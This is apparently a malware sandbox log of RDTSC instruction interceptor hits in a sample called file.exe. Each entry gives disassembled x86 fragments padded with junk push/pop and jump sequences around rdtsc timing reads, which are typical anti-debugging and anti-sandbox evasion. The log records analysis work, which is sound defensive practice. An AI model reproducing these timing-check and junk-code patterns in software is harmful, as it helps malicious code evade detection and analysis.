Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AF29 second address: D3AF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AF2F second address: D3AF38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AF38 second address: D3AF4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6DFCC41836h 0x0000000a pop edi 0x0000000b jmp 00007F6DFCC4183Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39F45 second address: D39F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 popad 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39F51 second address: D39F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F6DFCC41843h 0x0000000d jmp 00007F6DFCC4183Eh 0x00000012 popad 0x00000013 push esi 0x00000014 jnp 00007F6DFCC41836h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A0CE second address: D3A0DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F6DFD003CB6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A24F second address: D3A255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A7B6 second address: D3A7BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C1C7 second address: D3C1DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC41841h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C1DC second address: D3C1E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C266 second address: D3C26A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C26A second address: D3C30A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 jp 00007F6DFD003CB6h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 pop ecx 0x00000013 nop 0x00000014 cld 0x00000015 push 00000000h 0x00000017 sub si, 85F3h 0x0000001c push D09F3F12h 0x00000021 push eax 0x00000022 push ebx 0x00000023 pushad 0x00000024 popad 0x00000025 pop ebx 0x00000026 pop eax 0x00000027 add dword ptr [esp], 2F60C16Eh 0x0000002e movzx ecx, cx 0x00000031 push 00000003h 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007F6DFD003CB8h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 0000001Bh 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d push 00000000h 0x0000004f xor edi, dword ptr [ebp+122D32EBh] 0x00000055 push 00000003h 0x00000057 mov dword ptr [ebp+122D20B3h], esi 0x0000005d push BC189285h 0x00000062 pushad 0x00000063 jmp 00007F6DFD003CC9h 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007F6DFD003CC9h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C30A second address: D3C30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C30E second address: D3C33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 03E76D7Bh 0x0000000e lea ebx, dword ptr [ebp+12450136h] 0x00000014 mov dword ptr [ebp+122D3470h], ebx 0x0000001a push eax 0x0000001b pushad 0x0000001c jmp 00007F6DFD003CC1h 0x00000021 push edi 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C3A7 second address: D3C3E2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F6DFCC41836h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, dword ptr [ebp+122D38A7h] 0x00000015 push 00000000h 0x00000017 jl 00007F6DFCC4183Ch 0x0000001d xor dword ptr [ebp+122D21DCh], ebx 0x00000023 mov ecx, esi 0x00000025 call 00007F6DFCC41839h 0x0000002a push esi 0x0000002b push ecx 0x0000002c pushad 0x0000002d popad 0x0000002e pop ecx 0x0000002f pop esi 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 pop eax 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C3E2 second address: D3C3E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C3E6 second address: D3C3EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C3EC second address: D3C3F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C3F2 second address: D3C3F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C3F6 second address: D3C48C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnl 00007F6DFD003CBAh 0x00000015 mov eax, dword ptr [eax] 0x00000017 push ecx 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c pop eax 0x0000001d popad 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 jo 00007F6DFD003CC4h 0x00000029 pushad 0x0000002a jnc 00007F6DFD003CB6h 0x00000030 je 00007F6DFD003CB6h 0x00000036 popad 0x00000037 pop eax 0x00000038 jmp 00007F6DFD003CC5h 0x0000003d mov dword ptr [ebp+122D1A96h], ebx 0x00000043 push 00000003h 0x00000045 mov edi, 6273ED71h 0x0000004a mov di, ax 0x0000004d push 00000000h 0x0000004f mov edx, ecx 0x00000051 push 00000003h 0x00000053 push eax 0x00000054 movzx edx, cx 0x00000057 pop esi 0x00000058 call 00007F6DFD003CB9h 0x0000005d js 00007F6DFD003CBEh 0x00000063 jo 00007F6DFD003CB8h 0x00000069 pushad 0x0000006a popad 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e js 00007F6DFD003CB8h 0x00000074 pushad 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C48C second address: D3C4CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC41845h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F6DFCC4183Bh 0x00000012 mov eax, dword ptr [eax] 0x00000014 push esi 0x00000015 pushad 0x00000016 jng 00007F6DFCC41836h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 pushad 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 pop edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C4CF second address: D3C4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C579 second address: D3C58D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F6DFCC41836h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C58D second address: D3C5EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6DFD003CC3h 0x0000000e popad 0x0000000f nop 0x00000010 mov cx, 47B8h 0x00000014 call 00007F6DFD003CBFh 0x00000019 xor dword ptr [ebp+122D18F5h], edx 0x0000001f pop edx 0x00000020 push 00000000h 0x00000022 or esi, dword ptr [ebp+122D2366h] 0x00000028 call 00007F6DFD003CB9h 0x0000002d pushad 0x0000002e push eax 0x0000002f jbe 00007F6DFD003CB6h 0x00000035 pop eax 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C5EB second address: D3C5FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6DFCC41836h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C6A6 second address: D3C6AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C6AA second address: D3C6AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C6AE second address: D3C6B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C6B4 second address: D3C711 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F6DFCC41836h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 017562F3h 0x00000015 lea ebx, dword ptr [ebp+1245014Ah] 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F6DFCC41838h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 call 00007F6DFCC4183Bh 0x0000003a mov edi, edx 0x0000003c pop edi 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jp 00007F6DFCC4183Ch 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E206 second address: D5E218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFD003CBEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E218 second address: D5E252 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6DFCC41836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F6DFCC4183Bh 0x00000010 jmp 00007F6DFCC41849h 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 je 00007F6DFCC41842h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E252 second address: D5E258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C0EE second address: D5C0F4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C0F4 second address: D5C0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C0FF second address: D5C108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C108 second address: D5C10C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C69F second address: D5C6A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C95B second address: D5C975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFD003CC6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C975 second address: D5C9C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC41844h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F6DFCC41842h 0x00000010 push edi 0x00000011 jmp 00007F6DFCC41844h 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop edi 0x00000019 push edx 0x0000001a jne 00007F6DFCC41836h 0x00000020 pop edx 0x00000021 popad 0x00000022 push esi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C9C9 second address: D5C9CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C9CD second address: D5C9D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CC54 second address: D5CC59 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CDBD second address: D5CDC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D2BE second address: D5D2CE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6DFD003CB6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D2CE second address: D5D2D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D2D2 second address: D5D2E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBEh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54D2E second address: D54D33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28DBC second address: D28DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28DC2 second address: D28E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFCC4183Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jo 00007F6DFCC41836h 0x00000013 jg 00007F6DFCC41836h 0x00000019 jmp 00007F6DFCC41841h 0x0000001e jmp 00007F6DFCC4183Bh 0x00000023 popad 0x00000024 jne 00007F6DFCC41851h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28E20 second address: D28E2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F6DFD003CB6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DC39 second address: D5DC3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DC3D second address: D5DC50 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6DFD003CBEh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DC50 second address: D5DC56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D605F9 second address: D6061D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFD003CBEh 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F6DFD003CBEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63D84 second address: D63D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63D88 second address: D63D99 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6DFD003CB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63D99 second address: D63D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6334C second address: D63350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63350 second address: D6335A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64611 second address: D64616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64616 second address: D6461B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6461B second address: D64630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6DFD003CBAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69FCD second address: D6A00A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 jmp 00007F6DFCC41849h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jnp 00007F6DFCC4184Eh 0x0000001b push esi 0x0000001c pushad 0x0000001d popad 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 jnl 00007F6DFCC41836h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A00A second address: D6A00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D695D2 second address: D695D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D695D6 second address: D695DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D695DE second address: D695FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F6DFCC41836h 0x00000009 jg 00007F6DFCC41836h 0x0000000f jns 00007F6DFCC41836h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D698B5 second address: D698BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D698BA second address: D698CA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6DFCC41842h 0x00000008 je 00007F6DFCC41836h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69D09 second address: D69D13 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6DFD003CD1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69E87 second address: D69E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69E8D second address: D69EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnl 00007F6DFD003CB8h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F6DFD003CBEh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69EAE second address: D69EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6AD61 second address: D6AD6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B14B second address: D6B164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFCC41845h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B164 second address: D6B176 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F6DFD003CB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B34D second address: D6B362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFCC41841h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BACB second address: D6BAD1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BAD1 second address: D6BAE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFCC41843h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C13D second address: D6C16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F6DFD003CB8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C16D second address: D6C171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C171 second address: D6C183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C5EA second address: D6C5EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CFED second address: D6CFF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F6DFD003CB6h 0x0000000a rdtsc
